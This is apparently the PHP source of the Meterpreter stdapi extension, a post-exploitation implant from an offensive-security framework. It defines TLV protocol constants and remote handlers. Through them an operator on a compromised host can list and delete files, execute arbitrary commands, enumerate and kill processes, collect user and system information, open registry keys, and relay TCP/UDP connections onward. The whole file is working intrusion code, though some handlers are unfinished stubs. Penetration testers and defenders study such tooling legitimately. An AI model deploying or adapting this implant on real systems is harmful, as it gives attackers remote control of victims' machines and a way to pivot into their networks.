#<?php
##
# STDAPI
##

##
# General
##
define("TLV_TYPE_HANDLE",              TLV_META_TYPE_UINT    |  600);
define("TLV_TYPE_INHERIT",             TLV_META_TYPE_BOOL    |  601);
define("TLV_TYPE_PROCESS_HANDLE",      TLV_META_TYPE_UINT    |  630);
define("TLV_TYPE_THREAD_HANDLE",       TLV_META_TYPE_UINT    |  631);

##
# Fs
##
define("TLV_TYPE_DIRECTORY_PATH",      TLV_META_TYPE_STRING  | 1200);
define("TLV_TYPE_FILE_NAME",           TLV_META_TYPE_STRING  | 1201);
define("TLV_TYPE_FILE_PATH",           TLV_META_TYPE_STRING  | 1202);
define("TLV_TYPE_FILE_MODE",           TLV_META_TYPE_STRING  | 1203);
define("TLV_TYPE_STAT_BUF",            TLV_META_TYPE_COMPLEX | 1220);

##
# Net
##
define("TLV_TYPE_HOST_NAME",           TLV_META_TYPE_STRING  | 1400);
define("TLV_TYPE_PORT",                TLV_META_TYPE_UINT    | 1401);

define("TLV_TYPE_SUBNET",              TLV_META_TYPE_RAW     | 1420);
define("TLV_TYPE_NETMASK",             TLV_META_TYPE_RAW     | 1421);
define("TLV_TYPE_GATEWAY",             TLV_META_TYPE_RAW     | 1422);
define("TLV_TYPE_NETWORK_ROUTE",       TLV_META_TYPE_GROUP   | 1423);

define("TLV_TYPE_IP",                  TLV_META_TYPE_RAW     | 1430);
define("TLV_TYPE_MAC_ADDRESS",         TLV_META_TYPE_RAW     | 1431);
define("TLV_TYPE_MAC_NAME",            TLV_META_TYPE_STRING  | 1432);
define("TLV_TYPE_NETWORK_INTERFACE",   TLV_META_TYPE_GROUP   | 1433);

define("TLV_TYPE_SUBNET_STRING",       TLV_META_TYPE_STRING  | 1440);
define("TLV_TYPE_NETMASK_STRING",      TLV_META_TYPE_STRING  | 1441);
define("TLV_TYPE_GATEWAY_STRING",      TLV_META_TYPE_STRING  | 1442);

# Socket
define("TLV_TYPE_PEER_HOST",           TLV_META_TYPE_STRING  | 1500);
define("TLV_TYPE_PEER_PORT",           TLV_META_TYPE_UINT    | 1501);
define("TLV_TYPE_LOCAL_HOST",          TLV_META_TYPE_STRING  | 1502);
define("TLV_TYPE_LOCAL_PORT",          TLV_META_TYPE_UINT    | 1503);
define("TLV_TYPE_CONNECT_RETRIES",     TLV_META_TYPE_UINT    | 1504);

define("TLV_TYPE_SHUTDOWN_HOW",        TLV_META_TYPE_UINT    | 1530);

##
# Sys
##
define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0));
define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1));
define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));

# Registry
define("TLV_TYPE_HKEY",                TLV_META_TYPE_UINT    | 1000);
define("TLV_TYPE_ROOT_KEY",            TLV_TYPE_HKEY);
define("TLV_TYPE_BASE_KEY",            TLV_META_TYPE_STRING  | 1001);
define("TLV_TYPE_PERMISSION",          TLV_META_TYPE_UINT    | 1002);
define("TLV_TYPE_KEY_NAME",            TLV_META_TYPE_STRING  | 1003);
define("TLV_TYPE_VALUE_NAME",          TLV_META_TYPE_STRING  | 1010);
define("TLV_TYPE_VALUE_TYPE",          TLV_META_TYPE_UINT    | 1011);
define("TLV_TYPE_VALUE_DATA",          TLV_META_TYPE_RAW     | 1012);

# Config
define("TLV_TYPE_COMPUTER_NAME",       TLV_META_TYPE_STRING  | 1040);
define("TLV_TYPE_OS_NAME",             TLV_META_TYPE_STRING  | 1041);
define("TLV_TYPE_USER_NAME",           TLV_META_TYPE_STRING  | 1042);

define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));

# Process
define("TLV_TYPE_BASE_ADDRESS",        TLV_META_TYPE_UINT    | 2000);
define("TLV_TYPE_ALLOCATION_TYPE",     TLV_META_TYPE_UINT    | 2001);
define("TLV_TYPE_PROTECTION",          TLV_META_TYPE_UINT    | 2002);
define("TLV_TYPE_PROCESS_PERMS",       TLV_META_TYPE_UINT    | 2003);
define("TLV_TYPE_PROCESS_MEMORY",      TLV_META_TYPE_RAW     | 2004);
define("TLV_TYPE_ALLOC_BASE_ADDRESS",  TLV_META_TYPE_UINT    | 2005);
define("TLV_TYPE_MEMORY_STATE",        TLV_META_TYPE_UINT    | 2006);
define("TLV_TYPE_MEMORY_TYPE",         TLV_META_TYPE_UINT    | 2007);
define("TLV_TYPE_ALLOC_PROTECTION",    TLV_META_TYPE_UINT    | 2008);
define("TLV_TYPE_PID",                 TLV_META_TYPE_UINT    | 2300);
define("TLV_TYPE_PROCESS_NAME",        TLV_META_TYPE_STRING  | 2301);
define("TLV_TYPE_PROCESS_PATH",        TLV_META_TYPE_STRING  | 2302);
define("TLV_TYPE_PROCESS_GROUP",       TLV_META_TYPE_GROUP   | 2303);
define("TLV_TYPE_PROCESS_FLAGS",       TLV_META_TYPE_UINT    | 2304);
define("TLV_TYPE_PROCESS_ARGUMENTS",   TLV_META_TYPE_STRING  | 2305);

define("TLV_TYPE_IMAGE_FILE",          TLV_META_TYPE_STRING  | 2400);
define("TLV_TYPE_IMAGE_FILE_PATH",     TLV_META_TYPE_STRING  | 2401);
define("TLV_TYPE_PROCEDURE_NAME",      TLV_META_TYPE_STRING  | 2402);
define("TLV_TYPE_PROCEDURE_ADDRESS",   TLV_META_TYPE_UINT    | 2403);
define("TLV_TYPE_IMAGE_BASE",          TLV_META_TYPE_UINT    | 2404);
define("TLV_TYPE_IMAGE_GROUP",         TLV_META_TYPE_GROUP   | 2405);
define("TLV_TYPE_IMAGE_NAME",          TLV_META_TYPE_STRING  | 2406);

define("TLV_TYPE_THREAD_ID",           TLV_META_TYPE_UINT    | 2500);
define("TLV_TYPE_THREAD_PERMS",        TLV_META_TYPE_UINT    | 2502);
define("TLV_TYPE_EXIT_CODE",           TLV_META_TYPE_UINT    | 2510);
define("TLV_TYPE_ENTRY_POINT",         TLV_META_TYPE_UINT    | 2511);
define("TLV_TYPE_ENTRY_PARAMETER",     TLV_META_TYPE_UINT    | 2512);
define("TLV_TYPE_CREATION_FLAGS",      TLV_META_TYPE_UINT    | 2513);

define("TLV_TYPE_REGISTER_NAME",       TLV_META_TYPE_STRING  | 2540);
define("TLV_TYPE_REGISTER_SIZE",       TLV_META_TYPE_UINT    | 2541);
define("TLV_TYPE_REGISTER_VALUE_32",   TLV_META_TYPE_UINT    | 2542);
define("TLV_TYPE_REGISTER",            TLV_META_TYPE_GROUP   | 2550);

##
# Ui
##
define("TLV_TYPE_IDLE_TIME",           TLV_META_TYPE_UINT    | 3000);
define("TLV_TYPE_KEYS_DUMP",           TLV_META_TYPE_STRING  | 3001);
define("TLV_TYPE_DESKTOP",             TLV_META_TYPE_STRING  | 3002);

##
# Event Log
##
define("TLV_TYPE_EVENT_SOURCENAME",    TLV_META_TYPE_STRING  | 4000);
define("TLV_TYPE_EVENT_HANDLE",        TLV_META_TYPE_UINT    | 4001);
define("TLV_TYPE_EVENT_NUMRECORDS",    TLV_META_TYPE_UINT    | 4002);

define("TLV_TYPE_EVENT_READFLAGS",     TLV_META_TYPE_UINT    | 4003);
define("TLV_TYPE_EVENT_RECORDOFFSET",  TLV_META_TYPE_UINT    | 4004);

define("TLV_TYPE_EVENT_RECORDNUMBER",  TLV_META_TYPE_UINT    | 4006);
define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT    | 4007);
define("TLV_TYPE_EVENT_TIMEWRITTEN",   TLV_META_TYPE_UINT    | 4008);
define("TLV_TYPE_EVENT_ID",            TLV_META_TYPE_UINT    | 4009);
define("TLV_TYPE_EVENT_TYPE",          TLV_META_TYPE_UINT    | 4010);
define("TLV_TYPE_EVENT_CATEGORY",      TLV_META_TYPE_UINT    | 4011);
define("TLV_TYPE_EVENT_STRING",        TLV_META_TYPE_STRING  | 4012);
define("TLV_TYPE_EVENT_DATA",          TLV_META_TYPE_RAW     | 4013);

##
# Power
##
define("TLV_TYPE_POWER_FLAGS",         TLV_META_TYPE_UINT    | 4100);
define("TLV_TYPE_POWER_REASON",        TLV_META_TYPE_UINT    | 4101);

# Wrap everything in checks for existence of the new functions in case we get
# eval'd twice
my_print("Evaling stdapi");

if (!function_exists('cononicalize_path')) {
function cononicalize_path($path) {
    $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path);
    return $path;
}
}

# Need to nail down what this should actually do.  In ruby, it doesn't expand
# environment variables but in the windows meterpreter it does
if (!function_exists('stdapi_fs_expand_path')) {
function stdapi_fs_expand_path($req, &$pkt) {
    my_print("doing expand_path");
    $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
    return ERROR_FAILURE;
}
}

# works
if (!function_exists('stdapi_fs_chdir')) {
function stdapi_fs_chdir($req, &$pkt) {
    my_print("doing chdir");
    $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
    chdir(cononicalize_path($path_tlv['value']));
    return ERROR_SUCCESS;
}
}

# works
if (!function_exists('stdapi_fs_delete')) {
function stdapi_fs_delete($req, &$pkt) {
    my_print("doing delete");
    $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
    $ret = unlink(cononicalize_path($path_tlv['value']));
    return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}

# works
if (!function_exists('stdapi_fs_getwd')) {
function stdapi_fs_getwd($req, &$pkt) {
    my_print("doing pwd");
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
    return ERROR_SUCCESS;
}
}

# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
function stdapi_fs_ls($req, &$pkt) {
    my_print("doing ls");
    $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
    $path = cononicalize_path($path_tlv['value']);
    $dir_handle = @opendir($path);

    if ($dir_handle) {
        while ($file = readdir($dir_handle)) {
            if ($file != "." && $file != "..") {
                #my_print("Adding file $file");
                packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
                packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
                $st = stat($path . DIRECTORY_SEPARATOR . $file);
                $st_buf = "";
                $st_buf .= pack("V", $st['dev']);
                $st_buf .= pack("v", $st['ino']);
                $st_buf .= pack("v", $st['mode']);
                $st_buf .= pack("v", $st['nlink']);
                $st_buf .= pack("v", $st['uid']);
                $st_buf .= pack("v", $st['gid']);
                $st_buf .= pack("v", 0);
                $st_buf .= pack("V", $st['rdev']);
                $st_buf .= pack("V", $st['size']);
                $st_buf .= pack("V", $st['atime']);
                $st_buf .= pack("V", $st['mtime']);
                $st_buf .= pack("V", $st['ctime']);
                $st_buf .= pack("V", $st['blksize']);
                $st_buf .= pack("V", $st['blocks']);
                packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
            }
        }
        closedir($dir_handle);
        return ERROR_SUCCESS;
    } else {
        return ERROR_FAILURE;
    }
}
}

if (!function_exists('stdapi_fs_stat')) {
function stdapi_fs_stat($req, &$pkt) {
    my_print("doing stat");
    $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
    $path = cononicalize_path($path_tlv['value']);

    $st = stat($path);
	if ($st) {
		$st_buf = "";
		$st_buf .= pack("V", $st['dev']);
		$st_buf .= pack("v", $st['ino']);
		$st_buf .= pack("v", $st['mode']);
		$st_buf .= pack("v", $st['nlink']);
		$st_buf .= pack("v", $st['uid']);
		$st_buf .= pack("v", $st['gid']);
		$st_buf .= pack("v", 0);
		$st_buf .= pack("V", $st['rdev']);
		$st_buf .= pack("V", $st['size']);
		$st_buf .= pack("V", $st['atime']);
		$st_buf .= pack("V", $st['mtime']);
		$st_buf .= pack("V", $st['ctime']);
		$st_buf .= pack("V", $st['blksize']);
		$st_buf .= pack("V", $st['blocks']);
		packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
        return ERROR_SUCCESS;
	} else {
        return ERROR_FAILURE;
	}
}
}

# works
if (!function_exists('stdapi_fs_delete_file')) {
function stdapi_fs_delete_file($req, &$pkt) {
    my_print("doing delete");
    $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
    $path = cononicalize_path($path_tlv['value']);

    if ($path && is_file($path)) {
        $worked = @unlink($path);
        return ($worked ? ERROR_SUCCESS : ERROR_FAILURE);
    } else {
        return ERROR_FAILURE;
    }
}
}

# Sys Config

# works
if (!function_exists('stdapi_sys_config_getuid')) {
function stdapi_sys_config_getuid($req, &$pkt) {
    my_print("doing getuid");
    if (is_callable('posix_getuid')) {
        $uid = posix_getuid();
        $pwinfo = posix_getpwuid($uid);
        $user = $pwinfo['name'] . " ($uid)";
    } else {
        # The posix functions aren't available, this is probably windows.  Use
        # the functions for getting user name and uid based on file ownership
        # instead.
        $user = get_current_user() . " (" . getmyuid() . ")";
    }
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
    return ERROR_SUCCESS;
}
}

# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
    my_print("doing rev2self");
    return ERROR_FAILURE;
}
}

# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
function stdapi_sys_config_sysinfo($req, &$pkt) {
    my_print("doing sysinfo");
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
    return ERROR_SUCCESS;
}
}

# Global list of processes so we know what to kill when a channel gets closed
$GLOBALS['processes'] = array();

if (!function_exists('stdapi_sys_process_execute')) {
function stdapi_sys_process_execute($req, &$pkt) {
    my_print("doing execute");
    $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
    $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
    $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);

    $cmd = $cmd_tlv['value'];
    $args = $args_tlv['value'];
    $flags = $flags_tlv['value'];

    # If there was no command specified, well, a user sending an empty command
    # deserves failure.
    my_print("Cmd: $cmd $args");
    $real_cmd = $cmd ." ". $args;
    if (0 > strlen($cmd)) {
        return ERROR_FAILURE;
    }
    #my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")");
    if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
        global $processes;
        my_print("Channelized");
        $handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
        if ($handle === false) {
            return ERROR_FAILURE;
        }
        $pipes['type'] = 'stream';
        register_stream($pipes[0]);
        register_stream($pipes[1]);
        register_stream($pipes[2]);
        $cid = register_channel($pipes[0], $pipes[1], $pipes[2]);

        # associate the process with this channel so we know when to close it.
        $processes[$cid] = $handle;

        packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
    } else {
        # Don't care about stdin/stdout, just run the command
        my_cmd($real_cmd);
    }

    return ERROR_SUCCESS;
}
}

# Works, but not very portable.  There doesn't appear to be a PHP way of
# getting a list of processes, so we just shell out to ps/tasklist.exe.  I need
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
function stdapi_sys_process_get_processes($req, &$pkt) {
    my_print("doing get_processes");
    $list = array();
    if (is_windows()) {
        # This command produces a line like:
        #  "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName"
        $output = my_cmd("tasklist /v /fo csv /nh");
        $lines = explode("\n", trim($output));
        foreach ($lines as $line) {
            $line = trim($line);
            #
            # Ghetto CSV parsing
            #
            $pieces = preg_split('/","/', $line);
            # Strip off the initial quote on the first and last elements
            $pieces[0] = substr($pieces[0], 1, strlen($pieces[0]));
            $cnt = count($pieces) - 1;
            $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt]));

            $proc_info = array($pieces[1], $pieces[6], $pieces[0]);
            array_push($list, $proc_info);
        }
    } else {
        # This command produces a line like:
        #    1553 root     /sbin/getty -8 38400 tty1
        $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
        $lines = explode("\n", trim($output));
        foreach ($lines as $line) {
            array_push($list, preg_split("/\s+/", trim($line)));
        }
    }
    foreach ($list as $proc) {
        $grp = "";
        $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
        $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
        $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
        # Strip the pid and the user name off the front; the rest will be the
        # full command line
        array_shift($proc);
        array_shift($proc);
        $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
    }
    return ERROR_SUCCESS;
}
}

# works
if (!function_exists('stdapi_sys_process_getpid')) {
function stdapi_sys_process_getpid($req, &$pkt) {
    my_print("doing getpid");
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
    return ERROR_SUCCESS;
}
}

if (!function_exists('stdapi_sys_process_kill')) {
function stdapi_sys_process_kill($req, &$pkt) {
    # The existence of posix_kill is unlikely (it's a php compile-time option
    # that isn't enabled by default, but better to try it and avoid shelling
    # out when unnecessary.
    my_print("doing kill");
    $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
    $pid = $pid_tlv['value'];
    if (is_callable('posix_kill')) {
        $ret = posix_kill($pid, 9);
        $ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
        if ($ret != ERROR_SUCCESS) {
            my_print(posix_strerror($ret));
        }
    } else {
        $ret = ERROR_FAILURE;
        if (is_windows()) {
            my_cmd("taskkill /f /pid $pid");
            # Don't know how to check for success yet, so just assume it worked
            $ret = ERROR_SUCCESS;
        } else {
            if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
                $ret = ERROR_SUCCESS;
            }
        }
    }
    return $ret;
}
}

if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
    my_print("doing stdapi_net_socket_tcp_shutdown");
    $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
    $c = get_channel_by_id($cid_tlv['value']);

    if ($c && $c['type'] == 'socket') {
        @socket_shutdown($c[0], $how);
        $ret = ERROR_SUCCESS;
    } else {
        $ret = ERROR_FAILURE;
    }
    return $ret;
}
}



#
# Registry
#

if (!function_exists('register_registry_key')) {
$_GLOBALS['registry_handles'] = array();

function register_registry_key($key) {
    global $registry_handles;
    $registry_handles[] = $key;
    return count($registry_handles) - 1;
}
}

if (!function_exists('deregister_registry_key')) {
function deregister_registry_key($id) {
    global $registry_handles;
    $registry_handles[$id] = null;
}
}


if (!function_exists('stdapi_registry_create_key')) {
function stdapi_registry_create_key($req, &$pkt) {
    my_print("doing stdapi_registry_create_key");
    if (is_windows() and is_callable('reg_open_key')) {
        $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
        $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY);
        $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION);
        dump_array($root_tlv);
        dump_array($base_tlv);

        # For some reason the php constants for registry root keys do not have
        # the high bit set and are 1 less than the normal Windows constants, so
        # fix it here.
        $root = ($root_tlv['value'] & ~0x80000000) + 1;
        $base = $base_tlv['value'];

        my_print("reg opening '$root', '$base'");
        $key = reg_open_key($root, $base);
        if (!$key) {
            my_print("reg open failed: $key");
            return ERROR_FAILURE;
        }
        $key_id = register_registry_key($key);

        packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id));

        return ERROR_SUCCESS;
    } else {
        return ERROR_FAILURE;
    }
}
}

if (!function_exists('stdapi_registry_close_key')) {
function stdapi_registry_close_key($req, &$pkt) {
    if (is_windows() and is_callable('reg_open_key')) {
        global $registry_handles;
        my_print("doing stdapi_registry_close_key");
        $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
        $key_id = $key_id_tlv['value'];

        reg_close_key($registry_handles[$key_id]);
        deregister_registry_key($key_id);

        return ERROR_SUCCESS;
    } else {
        return ERROR_FAILURE;
    }
}
}

if (!function_exists('stdapi_registry_query_value')) {
function stdapi_registry_query_value($req, &$pkt) {
    if (is_windows() and is_callable('reg_open_key')) {
        global $registry_handles;
        my_print("doing stdapi_registry_query_value");
        $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY);
        $key_id = $key_id_tlv['value'];
        $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME);
        $name = $name_tlv['value'];

        #my_print("Looking up stored key handle $key_id");
        #dump_array($registry_handles, "Reg handles");
        $key = $registry_handles[$key_id];
        if (!$key) {
            return ERROR_FAILURE;
        }
        $data = reg_get_value($key, $name);
        my_print("Found data for $key\\$name : $data, ". is_int($data));
        # There doesn't appear to be an API to get the type, all we can do is
        # infer based on what the value looks like.  =(
        if (is_int($data)) {
            $type = REG_DWORD;
            $data = pack("N", (int)$data);
        } else {
            $type = REG_SZ;
            # The api strips the null for us, so put it back
            $data = $data ."\x00";
        }

        packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data));
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type));
    } else {
        return ERROR_FAILURE;
    }
}
}

if (!function_exists('stdapi_registry_set_value')) {
function stdapi_registry_set_value($req, &$pkt) {
    if (is_windows() and is_callable('reg_open_key')) {
        global $registry_handles;
        my_print("doing stdapi_registry_set_value");
        $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
        $key_id = $key_id_tlv['value'];
    } else {
        return ERROR_FAILURE;
    }
}
}


# END STDAPI



##
# Channel Helper Functions
##

if (!function_exists('channel_create_stdapi_fs_file')) {
function channel_create_stdapi_fs_file($req, &$pkt) {
    $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
    $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
    #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
    if (!$mode_tlv) {
        $mode_tlv = array('value' => 'rb');
    }
    $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);

    if (is_resource($fd)) {
        register_stream($fd);
        $id = register_channel($fd);
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
        return ERROR_SUCCESS;
    } else {
        my_print("Failed to open");
    }
    return ERROR_FAILURE;
}
}


if (!function_exists('channel_create_stdapi_net_tcp_client')) {
function channel_create_stdapi_net_tcp_client($req, &$pkt) {
    my_print("creating tcp client");

    $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
    $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
    $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
    $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
    $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES);
    if ($retries_tlv['value']) {
        $retries = $retries_tlv['value'];
    } else {
        $retries = 1;
    }

    for ($i = 0; $i < $retries; $i++) {
        $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']);
        if ($sock) {
            break;
        }
    }

    if (!$sock) {
        return ERROR_FAILURE;
    }

    #
    # If we got here, the connection worked, respond with the new channel ID
    #

    $id = register_channel($sock);
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
    add_reader($sock);
    return ERROR_SUCCESS;
}
}

if (!function_exists('channel_create_stdapi_net_udp_client')) {
function channel_create_stdapi_net_udp_client($req, &$pkt) {
    my_print("creating udp client");

    $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
    $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);

    # We can't actually do anything with local_host and local_port because PHP
    # doesn't let us specify these values in any of the exposed socket API
    # functions.
    #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
    #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);

    $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp');
    my_print("UDP channel on {$sock}");

    if (!$sock) {
        return ERROR_FAILURE;
    }

    #
    # If we got here, the connection worked, respond with the new channel ID
    #

    $id = register_channel($sock);
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
    add_reader($sock);
    return ERROR_SUCCESS;
}
}